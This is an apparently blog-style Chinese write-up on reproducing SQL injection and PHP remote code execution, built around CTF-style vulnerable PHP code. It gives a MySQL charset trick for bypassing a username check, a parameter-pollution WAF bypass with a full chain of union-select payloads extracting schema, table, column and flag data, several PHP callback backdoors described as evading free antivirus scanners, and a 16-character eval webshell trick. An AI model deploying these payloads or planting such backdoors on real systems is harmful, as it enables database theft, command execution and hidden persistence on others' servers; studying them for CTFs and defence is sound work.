sql及rce漏洞整理

sql及rce漏洞复现

一,mysql小特性解决大问题

php 复制代码
<?php
$mysqli = new mysqli("localhost", "root", "root", "cat");
​
/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}
​
$mysqli->query("set names utf8");
​
$username = addslashes($_GET['username']);
​
​
if ($username === 'admin') {
    die('Permission denied!');
}
​
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
​
if ($result = $mysqli->query( $sql )) {
    printf("Select returned %d rows.\n", $result->num_rows);
​
    while ($row = $result->fetch_array(MYSQLI_ASSOC))
    {
        var_dump($row);
    }
​
    /* free result set */
    $result->close();
} else {
    var_dump($mysqli->error);
}
​
$mysqli->close();
题目简述:

当传入?username=admin时,代码会进入die('Permission denied!');但是需要拿到var_dump($row);我们就必须输入admin,此时该如何解决? 然后,我们访问http://localhost/test.php/?username=admin%c2,即可发现%c2被忽略,Mysql查出了username=admin的结果

漏洞分析:

Mysql在执行查询的时候,就涉及到字符集的转换。

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集

在我们这个案例中,character_set_client和character_set_connection被设置成了utf8,而内部操作字符集其实也就是username字段的字符集还是默认的latin1。于是,整个操作就有如下字符串转换过程:

utf8 --> utf8 --> latin1

最后执行比较username='admin'的时候,'admin'是一个latin1字符串

漏洞原因:

Mysql在转换字符集的时候,将不完整的字符给忽略了。

举个简单的例子,佬这个汉字的UTF-8编码是\xE4\xBD\xAC,我们可以依次尝试访问下面三个URL:

php 复制代码
http://127.0.0.1/test.php?username=admin%e4 可以
http://127.0.0.1/test.php?username=admin%e4%bd 可以
http://127.0.0.1/test.php?username=admin%e4%bd%ac 不行

二, 贷齐乐hpp+php特性注入

源码:

php 复制代码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {       
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result = @mysqli_query($conn,$sql);
      while($row = @mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['username'] . "</td>";
          echo "</tr>";
      }
  }
?>
绕过思路:

源代码进行了两次取值,第一次取值判断是否有非法字符,也就是第二个waf,第二次取值会覆盖第一次(在这里会产生问题),然后进行'&', '"', '<', '>', '(', ')'的过滤。我们通过构造两个i_d,第一个为我们有害数据,让第一次传参取第二个值,第二次传参取第一个值。

?i_d=1&i_d=2 php会默认取第二个,两次取值函数都取第二个无害数据,我们的有害数据没进去。

在php中有一个小特性,会将i.d和i]d转换为i_d,利用这一特性,第一次取值时,*REQUEST\[key] = dowith_sql(value);会将i.d和i\]d转换为i_d,故取第二个值。第二次取值时,*SERVER['REQUEST_URI']会区分i.d和i_d,所以取了第一个有害数据。?i_d=1&i.d=2

payload:
php 复制代码
?submit=bbbb&i_d=-1/**/union/**/select/**/1,2,3&i.d=2  回显数字2
?submit=bbbb&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=2  注入数据库名
?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=2 注入出表名 由于过滤了单引号,我们的ctf库名需要单引号包裹,所以将ctf转为16进制。
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=2  注入出列名
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2 注入出flag
三,rce漏洞整理

命令执行函数:system exec shell_exec popen proc_open passthru

代码执行函数:eval asserrt call_user_func call_user_func _array

eval在php不是一个函数,是一个动态执行的方法。所以eval不能通过动态方式传参执行。

1,php回调后门
复制代码
call_user_func('assert', $_REQUEST['pass']);
传值pass=$_POST[123],按理来说,assert可以执行$_POST,但是用动态传递的方式失败,使用蚁剑连接失败,但是在前面加一个eval即可成功,即pass=eval($_POST[123])

eval:eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

复制代码
call_user_func_array('assert', array($_REQUEST['pass']));
复制代码
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
在array_filter这个回调函数里,base64_decode($e)接收回调方法,$arr接收处理数据
传递 e=YxNzZXJ0&pass=phpinfo()
可以绕过免费查杀工具的后门
php 复制代码
<?php
get_meta_tags("http://127.0.0.1/demo.html")["author"](get_meta_tags("http://127.0.0.1/demo.html")["keyswords"]);






<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keyswords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
</html>
复制代码
PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?

源码:

php 复制代码
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

绕过方式:

php 复制代码
?param=echo%20`$GET[1]`;&1=id
复制代码
在linux``可以执行命令
相关推荐
用户2018792831672 分钟前
Binder驱动缓冲区的工作机制答疑
android
真夜7 分钟前
关于rngh手势与Slider组件手势与事件冲突解决问题记录
android·javascript·app
用户20187928316710 分钟前
浅析Binder通信的三种调用方式
android
用户0938 分钟前
深入了解 Android 16KB内存页面
android·kotlin
火车叼位1 小时前
Android Studio与命令行Gradle表现不一致问题分析
android
前行的小黑炭3 小时前
【Android】 Context使用不当,存在内存泄漏,语言不生效等等
android·kotlin·app
前行的小黑炭4 小时前
【Android】CoordinatorLayout详解;实现一个交互动画的效果(上滑隐藏,下滑出现);附例子
android·kotlin·app
用户20187928316716 小时前
Android黑夜白天模式切换原理分析
android
芦半山17 小时前
「幽灵调用」背后的真相:一个隐藏多年的Android原生Bug
android
卡尔特斯17 小时前
Android Kotlin 项目代理配置【详细步骤(可选)】
android·java·kotlin